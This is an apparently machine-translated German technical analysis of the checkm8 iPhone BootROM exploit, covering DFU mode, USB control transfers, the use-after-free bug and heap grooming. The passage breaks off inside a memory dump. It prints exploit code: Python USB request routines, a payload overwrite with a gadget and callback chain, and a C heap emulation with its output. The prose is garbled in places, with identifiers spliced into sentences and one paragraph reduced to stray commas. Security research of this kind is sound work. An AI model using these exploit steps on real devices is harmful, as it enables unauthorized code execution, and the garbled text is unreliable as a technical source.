Mit hoher Wahrscheinlichkeit haben Sie bereits von dem sensationellen checkm8- Exploit gehört, der eine nicht behebbare Sicherheitsanfälligkeit im BootROM
meisten iDevices, einschließlich iPhone X
In diesem Artikel werden wir eine technische Analyse des Exploits bereitstellen und die Ursachen der Sicherheitsanfälligkeit untersuchen. Interessierte - willkommen unter dem Schnitt!
Die englische Version des Artikels können Sie hier lesen.
Einführung
Zunächst werden wir den iDevice-Startvorgang kurz beschreiben und herausfinden, welchen Platz BootROM
einnimmt (es kann auch als SecureROM
) und warum es benötigt wird. Ganz detaillierte Informationen dazu finden Sie hier . Der vereinfachte Startvorgang kann wie folgt dargestellt werden:

BootROM
ist das erste, was der Prozessor ausführt, wenn das Gerät eingeschaltet wird. Die Hauptaufgaben von BootROM
:
- Initialisierung der Plattform (Einstellen der erforderlichen Plattformregister, Initialisieren der
CPU
usw.) - Überprüfung und Übertragung der Kontrolle auf die nächste Ladestufe
BootROM
unterstützt das Parsen von IMG3/IMG4
ImagesBootROM
hat Zugriff auf den GID
Schlüssel zum Entschlüsseln von Bildern- Zum Überprüfen von Bildern ist der öffentliche
Apple
Schlüssel in BootROM
, und es gibt die erforderlichen Funktionen für die Arbeit mit Kryptografie
- Wiederherstellen eines Geräts, wenn kein weiterer Download möglich ist (
Device Firmware Update
, DFU
)
BootROM
sehr klein und kann als abgespeckte Version von iBoot
, da sie den größten Teil des System- und Bibliothekscodes gemeinsam nutzen. Im Gegensatz zu iBoot
kann BootROM
jedoch nicht aktualisiert werden. Es wird bei der Herstellung des Geräts im internen Nur-Lese-Speicher abgelegt. BootROM
ist das Hardware-Stammverzeichnis der Boot Chain Trust. Durch die darin enthaltenen Sicherheitslücken können Sie die Kontrolle über den weiteren Download-Prozess erlangen und nicht signierten Code auf dem Gerät ausführen.

Das Aussehen von checkm8
Der checkm8
Exploit wurde am 27. September 2019 vom Autor axi0mX zum Dienstprogramm checkm8
hinzugefügt. Anschließend kündigte er ein Update auf seinem Twitter-Konto an, das eine Beschreibung des Exploits und zusätzliche Informationen enthielt . Sie können dem Thread entnehmen iBoot
der Autor während des Patch-Diffing- iBoot
für iOS 12 beta
im Sommer 2018 die Sicherheitslücke im USB
Code gefunden hat. Wie bereits erwähnt, haben BootROM
und iBoot
viel gemeinsamen Code, einschließlich Code für USB
, weshalb diese Sicherheitsanfälligkeit auch für BootROM
relevant BootROM
.
Aus dem Exploit-Code folgt auch, dass die Sicherheitsanfälligkeit in DFU
ausgenutzt wird. In diesem Modus kann ein signiertes Bild über USB
auf das Gerät übertragen und anschließend heruntergeladen werden. Dies kann beispielsweise erforderlich sein, um das Gerät wiederherzustellen, wenn das Update nicht erfolgreich ist.
Am selben Tag berichtete littlelailo , dass er diese Sicherheitsanfälligkeit im März gefunden hatte, und veröffentlichte ihre Beschreibung in der Datei apollo.txt . Die Beschreibung entsprach dem, was im checkm8
Code passiert, verdeutlicht jedoch die Details des Exploits nicht vollständig. Aus diesem BootROM
wir uns entschlossen, diesen Artikel zu schreiben und alle Details des Vorgangs bis zur Ausführung der Nutzdaten in BootROM
einschließlich zu beschreiben.
Wir haben eine Exploit-Analyse durchgeführt, die auf den zuvor genannten Materialien sowie auf dem im Februar 2018 durchgesickerten iBoot/SecureROM
Quellcode iBoot/SecureROM
. Wir haben auch Daten verwendet, die experimentell auf unserem Testgerät - iPhone 7
( CPID:8010
) - erhalten wurden. Mit checkm8
wir die SecureROM
und SecureRAM
Dumps entfernt, was uns bei der Analyse geholfen hat.
Grundlegende USB-Kenntnisse
Die erkannte Sicherheitsanfälligkeit befindet sich im USB
Code, daher sind einige Kenntnisse über diese Schnittstelle erforderlich. Sie können die vollständige Spezifikation hier lesen, aber sie ist ziemlich umfangreich. Ein hervorragendes Material, das für ein besseres Verständnis mehr als ausreichend ist, ist USB in a NutShell . Hier geben wir nur das Notwendigste.
Es gibt verschiedene Arten der USB
Datenübertragung. DFU
verwendet nur den Control Transfers
Modus (darüber können Sie hier lesen). Jede Transaktion in diesem Modus besteht aus drei Phasen:
Setup Stage
- In dieser Phase wird ein SETUP
Paket gesendet, das aus den folgenden Feldern besteht:
bmRequestType
- beschreibt die Richtung, den Typ und den Empfänger der AnforderungbRequest
- Bestimmt, welche Anfrage gestellt wirdwValue
, wIndex
- je nach Anforderung können sie unterschiedlich interpretiert werdenwLength
- Länge der empfangenen / gesendeten Daten in der wLength
Data Stage
- Eine optionale Phase, in der die Datenübertragung stattfindet. Abhängig vom SETUP
Paket aus der vorherigen Stufe werden möglicherweise Daten vom Host an das Gerät OUT
( OUT
) oder umgekehrt ( IN
). Die Daten werden in kleinen Portionen gesendet (im Fall von Apple DFU
sind es 0x40 Bytes).
- Wenn der Host den nächsten Datenstapel übertragen möchte, sendet er ein
OUT
Token, wonach die Daten selbst gesendet werden. - Wenn der Host bereit ist, Daten vom Gerät zu empfangen, sendet er ein
IN
Token, auf das das Gerät Daten sendet.
Status Stage
- Die letzte Phase, in der der Status der gesamten Transaktion gemeldet wird.
- Bei
OUT
Anforderungen sendet der Host ein IN
Token, auf das das Gerät ein Datenpaket mit der Länge Null senden soll. - Bei
IN
Anforderungen sendet der Host ein OUT
Token und ein Datenpaket mit der Länge Null.
OUT
und IN
Abfragen sind in der folgenden Abbildung dargestellt. Wir haben NACK
, NACK
und andere Handshake-Pakete absichtlich aus dem Beschreibungs- und Interaktionsschema entfernt, da sie im Exploit selbst keine besondere Rolle spielen.

Analyse apollo.txt
Wir haben die Analyse gestartet, indem wir die Sicherheitsanfälligkeit aus dem Dokument apollo.txt analysiert haben . Es beschreibt den Algorithmus des DFU
Modus:
https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
- Wenn USB gestartet wird, um ein Bild über dfu zu erhalten, registriert dfu eine Schnittstelle, um alle Befehle zu verarbeiten, und weist einen Puffer für die Eingabe und Ausgabe zu
- Wenn Sie Daten an dfu senden, wird das Setup-Paket vom Hauptcode verarbeitet, der dann den Schnittstellencode aufruft
- Der Schnittstellencode überprüft, ob wLength kürzer als die Länge des Eingabeausgabepuffers ist. In diesem Fall wird ein als Argument übergebener Zeiger mit einem Zeiger auf den Eingabeausgabepuffer aktualisiert
- es gibt dann wLength zurück, die die Länge ist, die es in den Puffer empfangen möchte
- Der USB-Hauptcode aktualisiert dann eine globale Variable mit der Länge und macht sich bereit, die Datenpakete zu empfangen
- Wenn ein Datenpaket empfangen wird, wird es über den Zeiger, der als Argument übergeben wurde, in den Eingabeausgabepuffer geschrieben, und eine andere globale Variable wird verwendet, um zu verfolgen, wie viele Bytes bereits empfangen wurden
- Wenn alle Daten empfangen wurden, wird der dfu-spezifische Code erneut aufgerufen. Anschließend wird der Inhalt des Eingabe-Ausgabepuffers an den Speicherort kopiert, von dem aus das Bild später gestartet wird
- Danach setzt der USB-Code alle Variablen zurück und bearbeitet neue Pakete
- Wenn dfu beendet wird, wird der Eingabe- / Ausgabepuffer freigegeben, und wenn das Parsen des Images fehlschlägt, wird das Bootrom erneut in dfu eingegeben
Zuerst haben wir die beschriebenen Schritte mit dem iBoot
Quellcode verglichen. Da wir in diesem Artikel keine Fragmente von durchgesickertem Quellcode verwenden können, zeigen wir den Pseudocode, der durch SecureROM
Reverse Engineering unseres iPhone 7
in IDA
. Sie können den Quellcode von iBoot
leicht finden und darin navigieren.
Wenn der DFU
Modus initialisiert wird, wird ein IO
Puffer zugewiesen und eine USB
Schnittstelle für die Verarbeitung von Anforderungen an die DFU
registriert:

Wenn ein SETUP
Anforderungspaket bei der DFU
ankommt, wird der entsprechende Schnittstellenhandler aufgerufen. Bei erfolgreicher Ausführung der OUT
Anforderung (z. B. während der Bildübertragung) muss der Handler die Adresse des IO
Puffers für die Transaktion und die Größe der Daten zurückgeben, die er IO
per Zeiger empfangen wird. In diesem Fall werden die Pufferadresse und die Größe der erwarteten Daten in globalen Variablen gespeichert.

Der Interface-Handler für DFU
ist im folgenden Screenshot dargestellt. Wenn die Anforderung korrekt ist, werden die Adresse des in der DFU
Initialisierungsphase zugewiesenen IO
Puffers und die Länge der erwarteten Daten, die aus dem SETUP
Paket entnommen werden, vom Zeiger zurückgegeben.

Während der Data Stage
jedes Datenelement in den IO
Puffer geschrieben, wonach die Adresse des IO
Puffers verschoben und der Zähler der empfangenen Daten aktualisiert wird. Nach dem Empfang aller erwarteten Daten wird der Schnittstellendatenhandler aufgerufen und der globale Übertragungsstatus gelöscht.

Im DFU
Datenhandler werden die empfangenen Daten in den Speicherbereich verschoben, aus dem der Download fortgesetzt wird. Nach dem iBoot
Quellcode zu urteilen, heißt dieser Speicherbereich in Apple
INSECURE_MEMORY
.

Beim Verlassen des DFU
Modus wird der zuvor zugewiesene IO
Puffer freigegeben. Wenn das Bild im DFU
Modus erfolgreich empfangen wurde, wird es überprüft und geladen. Wenn während des Betriebs des DFU
Modus ein Fehler aufgetreten ist oder das resultierende Image nicht geladen werden kann, wird die DFU
neu initialisiert und alles beginnt von vorne.
In dem beschriebenen Algorithmus liegt die Sicherheitslücke " use-after-free
. Wenn Sie beim Booten ein SETUP
Paket senden und die Transaktion durch Überspringen der SETUP
abschließen, bleibt der globale Status beim erneuten Eintritt in den DFU
Zyklus initialisiert, und wir können an die Adresse des IO
Puffers schreiben, der in der vorherigen DFU
Iteration zugewiesen wurde.
Nachdem wir uns mit der Sicherheitsanfälligkeit " use-after-free
, fragten wir uns: Wie kann ich bei der nächsten DFU
Iteration etwas überschreiben? Schließlich werden vor der erneuten Initialisierung der DFU
alle zuvor zugewiesenen Ressourcen freigegeben, und der Speicherort in der neuen Iteration sollte genau gleich sein. Es stellt sich heraus, dass es einen weiteren interessanten und sehr schönen Speicherverlustfehler gibt, der es ermöglicht, die Sicherheitsanfälligkeit zu nutzen, die wir später diskutieren werden.
Checkm8-Analyse
Wir fahren direkt mit der Analyse des checkm8
Exploits fort. Der Einfachheit halber werden wir eine modifizierte Version des Exploits für das iPhone 7
analysieren, in der der mit anderen Plattformen verknüpfte Code entfernt, die Reihenfolge und die Arten von USB
Anforderungen geändert wurden, ohne den Exploit zu verlieren. Auch in dieser Version wird der Prozess zum checkm8.py
der Nutzdaten entfernt. Er befindet sich in der ursprünglichen Datei checkm8.py
. Das Verständnis der Unterschiede zwischen den Versionen für andere Geräte sollte nicht schwierig sein.
checkm8
Arbeit kann in mehrere Phasen unterteilt werden:
- Haufenvorbereitung (
heap feng-shui
) - Zuweisung und Freigabe des
IO
Puffers ohne Löschen des globalen Status - Überschreiben von
usb_device_io_request
auf dem Heap mit use-after-free
- Platzierung der Nutzlast
- Ausführung der
callback-chain
shellcode
Ausführung
Betrachten Sie jede der Phasen im Detail.
1. Haufenvorbereitung (Haufen Feng-Shui)
Es scheint uns, dass dies die interessanteste Etappe ist, und wir haben ihr besondere Aufmerksamkeit geschenkt.
stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device)
Dieser Schritt ist erforderlich, um einen bequemen Heap-Status für den use-after-free
Betrieb zu erreichen. Betrachten Sie zunächst die Anrufe stall
, leak
, no_leak
:
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
libusb1_no_error_ctrl_transfer
ist ein Wrapper über device.ctrlTransfer
bei dem alle Ausnahmen ignoriert werden, die während der Ausführung der Anforderung aufgetreten sind. libusb1_async_ctrl_transfer
- ein Wrapper über die Funktion libusb_submit_transfer
von libusb
für die asynchrone Abfrageausführung.
Beide Aufrufe akzeptieren die folgenden Parameter:
- Geräteinstanz
- Daten für das
SETUP
Paket (ihre Beschreibung finden Sie hier ):
bmRequestType
bRequest
wValue
wIndex
wLength
( wLength
) oder Daten für Data Stage
- Timeout anfordern
Die Argumente bmRequestType
, bRequest
, wValue
und wIndex
sind allen drei wIndex
gemeinsam. Sie bedeuten:
bmRequestType = 0x80
0b1XXXXXXX
- Richtung der 0b1XXXXXXX
vom Gerät zum Host (Gerät zu Host)0bX00XXXXX
- Standardanforderungstyp0bXXX00000
- Empfänger des Anforderungsgeräts
bRequest = 6
- Anforderung eines Deskriptors ( GET_DESCRIPTOR
)wValue = 0x304
wValueHigh = 0x3
- bestimmt den Typ des zu empfangenden Deskriptors - Zeichenfolge ( USB_DT_STRING
)wValueLow = 0x4
ist der Index des Zeichenfolgendeskriptors, 4 entspricht der Seriennummer des Geräts (in diesem Fall sieht die Zeichenfolge wie CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33]
)
wIndex = 0x40A
- Kennung der Zeichenfolgensprache, deren Wert für den Betrieb nicht wichtig ist und geändert werden kann.
Für jede dieser drei Anforderungen werden 0x30 Bytes auf dem Heap für ein Objekt mit der folgenden Struktur zugewiesen:

Die interessantesten Felder dieses Objekts sind callback
und next
.
callback
- Ein Zeiger auf eine Funktion, die aufgerufen wird, wenn die Anforderung abgeschlossen ist.next
- Ein Zeiger auf das nächste Objekt desselben Typs, der zum Einreihen von Anforderungen erforderlich ist.
Ein Hauptmerkmal des Aufrufs von stall
ist die asynchrone Ausführung der Anforderung mit einem minimalen Zeitlimit. Wenn Sie Glück haben, wird die Anforderung auf Betriebssystemebene abgebrochen und verbleibt in der Ausführungswarteschlange, und die Transaktion wird nicht abgeschlossen. Gleichzeitig akzeptiert das Gerät weiterhin alle eingehenden SETUP
Pakete und stellt sie gegebenenfalls in die Ausführungswarteschlange. Später konnten wir anhand von Experimenten mit einem USB
auf Arduino
herausfinden, dass der Host für einen erfolgreichen Betrieb ein SETUP
Paket und ein IN
Token senden muss, wonach die Transaktion durch Timeout abgebrochen werden muss. Schematisch kann eine solche unvollständige Transaktion wie folgt dargestellt werden:
Der Rest der Anfragen unterscheidet sich nur in der Länge und nur um eins. Tatsache ist, dass es für Standardabfragen einen Standardrückruf gibt, der folgendermaßen aussieht:

Der Wert io_length
entspricht dem Minimum von wLength
im SETUP
Paket der Anforderung und der ursprünglichen Länge des angeforderten Deskriptors. Aufgrund der Tatsache, dass der Deskriptor lang genug ist, können wir den io_length
Wert innerhalb seiner Länge genau steuern. Der Wert von g_setup_request.wLength
entspricht dem Wert von wLength
letzten SETUP
Pakets, in diesem Fall 0xC1
.
Somit ist nach Abschluss von Abfragen, die unter Verwendung der stall
und leak
Aufrufe generiert wurden, die Bedingung in der endgültigen callback
erfüllt und usb_core_send_zlp()
aufgerufen. Dieser Aufruf erstellt einfach ein zero-length-packet
mit der zero-length-packet
und fügt es der Ausführungswarteschlange hinzu. Dies ist erforderlich, damit die Transaktion in der Status Stage
korrekt abgeschlossen werden kann.
Die Anforderung endet mit einem Aufruf der Funktion usb_core_complete_endpoint_io
, die zuerst den callback
aufruft und dann den Anforderungsspeicher usb_core_complete_endpoint_io
. Gleichzeitig kann der Abschluss der Anforderung nicht nur erfolgen, wenn die gesamte Transaktion tatsächlich abgeschlossen ist, sondern auch, wenn der USB
zurückgesetzt wird. Sobald ein USB
Rücksetzsignal empfangen wird, wird die Anforderungswarteschlange umgangen und jeder von ihnen wird abgeschlossen.
Durch den selektiven Aufruf von usb_core_send_zlp()
, bei dem die Anforderungswarteschlange umgangen und dann freigegeben wird, können Sie eine ausreichende Heap-Kontrolle für den usb_core_send_zlp()
Betrieb erreichen. Schauen wir uns zunächst den Release-Zyklus selbst an:

Die Anforderungswarteschlange wird zuerst gelöscht, dann werden die abgebrochenen Anforderungen usb_core_complete_endpoint_io
und durch Aufrufen von usb_core_complete_endpoint_io
. Gleichzeitig werden mit usb_core_send_zlp
ausgewählte usb_core_send_zlp
in ep->io_head
. Nach Abschluss des USB
Rücksetzvorgangs werden alle Informationen zum Endpunkt zurückgesetzt, einschließlich der io_tail
io_head
und io_tail
, und Anforderungen mit der Länge Null verbleiben auf dem Heap. So können Sie einen kleinen Block in der Mitte des restlichen Haufens erstellen. Das folgende Diagramm zeigt, wie dies geschieht:

Der Heap in SecureROM
konzipiert, dass aus einem geeigneten freien Block der kleinsten Größe ein neuer Speicherbereich zugewiesen wird. Durch Erstellen eines kleinen freien Blocks mit der oben beschriebenen Methode können Sie die Speicherzuweisung während der USB
Initialisierung und die Zuweisung von io_buffer
und Anforderungen beeinflussen.
Lassen Sie uns zum besseren Verständnis herausfinden, welche Heap-Anforderungen während der DFU
Initialisierung auftreten. Bei der Analyse des iBoot
Quellcodes und des iBoot
Reverse Engineering SecureROM
uns gelungen, die folgende Sequenz zu erhalten:
- Zuordnung verschiedener String-Deskriptoren
- 1.1.
Nonce
(Größe 234
) - 1.2.
Manufacturer
( 22
) - 1.3.
Product
( 62
) - 1.4.
Serial Number
( 198
) - 1.5.
Configuration string
( 62
)
- Zuordnung im Zusammenhang mit der Erstellung der Aufgabe des
USB
- 2.1. Aufgabenstruktur (
0x3c0
) - 2.2.
0x1000
( 0x1000
)
io_buffer
( 0x800
)
- Konfigurationsdeskriptoren
- 4.1.
High-Speed
( 25
) - 4.2.
Full-Speed
( 25
)
Dann gibt es eine Zuordnung von Anforderungsstrukturen. Wenn sich in der Mitte des Heap-Bereichs ein kleiner Block befindet, werden einige Zuordnungen aus der ersten Kategorie in diesen usb_device_io_request
verschoben, und alle anderen Zuordnungen werden verschoben, wodurch wir usb_device_io_request
unter Bezugnahme auf den alten Puffer überlaufen können. Schematisch kann dies wie folgt dargestellt werden:

Um die erforderliche Verzerrung zu berechnen, haben wir uns entschlossen, die oben aufgeführten Zuordnungen einfach zu emulieren und den Quellcode des iBoot
Heaps leicht anzupassen.
DFU-Heap-Emulation #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; }
Programmausgabe mit 8 Anforderungen in der heap feng-shui
Phase:
chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540
Die nächste usb_device_io_request
befindet sich am Offset 0x5c0
vom Anfang des vorherigen Puffers, der dem Exploit-Code entspricht:
t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
, SecureRAM
, checkm8
. , . , usb_device_io_request
, .
. , .
SecureRAM chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 